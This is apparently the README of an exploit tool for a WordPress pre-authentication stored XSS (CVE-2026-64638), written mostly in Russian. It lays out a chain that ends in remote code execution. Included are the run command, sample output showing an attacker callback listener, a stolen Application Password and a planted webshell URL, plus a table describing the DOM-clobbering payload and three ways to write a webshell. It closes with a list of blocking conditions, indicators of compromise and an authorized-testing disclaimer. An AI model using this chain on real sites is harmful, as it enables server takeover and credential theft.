
CVE-2026-64638 | WordPress < 7.0.3 Предварительная аутентификация: сохраненный XSS → RCE
Каждый публичный PoC для этой CVE сломан. Этот работает.
WordPress < 7.0.3 не очищает параметр log (имя пользователя) в wp-login.php. Значение сохраняется и отображается внутри аутентифицированной сессии администратора — это stored XSS до аутентификации, который при одном клике приводит к полному захвату сервера.
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| Этап | Действие | Подробности |
|---|---|---|
| 1. XSS | Внедрение через wp-login.php | Специально сформированный параметр log с DOM clobbering (<area id=ajaxurl>) перехватывает AJAX URL WordPress, автоматически подтверждая App Password через JSONP |
| 2. Кража | Утечка Application Password | authorize-application.php незаметно создаёт App Password; success_url отправляет его атакующему |
| 3. Оболочка | Запись веб-оболочки (3 резервных способа) | Редактор темы → functions.php · Загрузка плагина → xss2shell/shell.php · Редактор плагина → существующий файл плагина |
| 4. RCE | Выполнение команд ОС | Веб-оболочка запускает shell_exec(), возвращает вывод в JSON, инструмент автоматически проверяет и очищает следы |
| Версия | Статус |
|---|---|
| WordPress < 7.0.3 | Уязвима |
| WordPress >= 7.0.3 | Исправлена |
| Условие | Влияние |
|---|---|
DISALLOW_FILE_EDIT | Редакторы темы/плагинов заблокированы — работает только загрузка ZIP |
DISALLOW_FILE_MODS | Все 3 метода заблокированы — RCE невозможен |
| WAF (Cloudflare, Wordfence) | Может фильтровать XSS-полезную нагрузку или запросы веб-оболочки |
disable_functions в PHP | shell_exec заблокирован — пустой вывод |
| Блокировщик всплывающих окон | Нарушает цепочку всплывающих окон |
| Строгие заголовки CSP | Блокируют встроенный JS или кросс-доменный fetch |
Ищите эти индикаторы, если xss2shell использовался против вашего сайта:
XSS2Shell-Poc-Wordsecxss2shell в wp-content/plugins/xss2shell_cmd в functions.php или любом файле плагина/?rest_route=/&_method=GET&_jsonp=Каждый публичный PoC для CVE-2026-64638 останавливается на alert(1) или требует ручных шагов, которые не может воспроизвести ни один триажер. Этот инструмент обеспечивает полную цепочку эксплуатации одной командой — от нулевой аутентификации до RCE. Создан для исследователей безопасности, которым нужны доказательства, а не теория.
Только для авторизованного тестирования безопасности и образовательных целей. Используйте только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Несанкционированный доступ к компьютерным системам незаконен.
WordSec · CVE-2026-64638 · Исправлено в WordPress 7.0.3